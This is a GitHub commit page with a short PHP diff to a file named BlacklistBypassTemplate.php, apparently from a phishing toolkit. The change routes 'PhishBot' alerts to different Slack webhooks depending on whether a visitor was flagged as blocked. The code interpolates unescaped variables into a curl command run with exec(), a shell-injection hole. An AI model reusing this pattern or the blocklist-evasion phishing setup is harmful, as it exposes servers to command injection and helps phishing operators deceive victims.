Skip to content

Commit

Permalink
Update BlacklistBypassTemplate.php
Browse files Browse the repository at this point in the history
  • Loading branch information
curtbraz authored Apr 10, 2024
1 parent 2aaac03 commit f862f70
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion html/BlacklistBypassTemplate.php
Original file line number Diff line number Diff line change
Expand Up @@ -84,7 +84,9 @@
}

// Set Slack Information Here ************** MAKE SURE YOU SET THIS ****************
$cmd = 'curl -s -X POST --data-urlencode \'payload={"channel": "#general", "username": "PhishBot", "text": "'.$message.'", "icon_emoji": ":bell:"}\' https://hooks.slack.com/services/YOUR_SLACK_API_KEY_HERE';
if($jedi == 1){$webhookurl = "https://hooks.slack.com/services/BLOCKED_CHANNEL_WEBHOOK_HERE";}else{$webhookurl = "https://hooks.slack.com/services/ALLOWED_CHANNEL_WEBHOOK_HERE";}

$cmd = 'curl -s -X POST --data-urlencode \'payload={"channel": "'.$channel.'", "username": "PhishBot", "text": "'.$message.'", "icon_emoji": ":bell:"}\' '.$webhookurl;
//echo $cmd;
exec($cmd);

Expand Down

0 comments on commit f862f70

Please sign in to comment.